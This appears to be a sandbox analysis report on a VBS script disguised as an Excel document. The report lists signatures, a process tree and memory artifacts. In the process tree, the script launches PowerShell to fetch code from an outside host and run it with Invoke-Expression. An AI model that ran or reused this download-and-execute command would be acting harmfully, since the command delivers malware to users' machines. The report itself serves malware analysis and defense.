Resubmissions

12/08/2024, 11:41

240812-ntgelazapr8

08/05/2024, 15:00

240508-sdtr7sab2w8

05/04/2024, 15:07

240405-shpdaafc3v10

04/04/2024, 20:19

240404-y3t26aaa3710

Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05/04/2024, 15:07

General

  • Target
    EXCEL_DOCUMENT_OPEN.vbs
  • Size 23KB
  • Sample240405-shpdaafc3v
  • SHA256 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
  • MD5 SHA1 SHA512 SSDEEP
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2772
  • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Program Files (x86)\Windows Media Player\setup_wm.exe
      "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
      2⤵
        PID:2672
    • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
      "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Program Files (x86)\Windows Media Player\setup_wm.exe
        "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
        2⤵
          PID:1584

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            allservices.xml

            • Path C:\Users\Admin\AppData\Local\Temp\tmp25903.WMC\allservices.xml
            • Size 546B
            • SHA256 155b9c588061c71832af329fafa5678835d9153b8fbb7592195ae953d0c455ba
            • MD5 SHA1 SHA512

            wmsetup.log

            • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
            • Size 2KB
            • SHA256 f63ed34fbbb436f144e2a8303351ea5e86d888958d65703ca4e29435d41b6475
            • MD5 SHA1 SHA512

            memory/2772-4-0x000000001B290000-0x000000001B572000-memory.dmp

            memory/2772-5-0x0000000002310000-0x0000000002318000-memory.dmp

            memory/2772-6-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

            memory/2772-7-0x0000000002900000-0x0000000002980000-memory.dmp

            memory/2772-8-0x0000000002900000-0x0000000002980000-memory.dmp

            memory/2772-9-0x0000000002900000-0x0000000002980000-memory.dmp

            memory/2772-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

            memory/2772-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp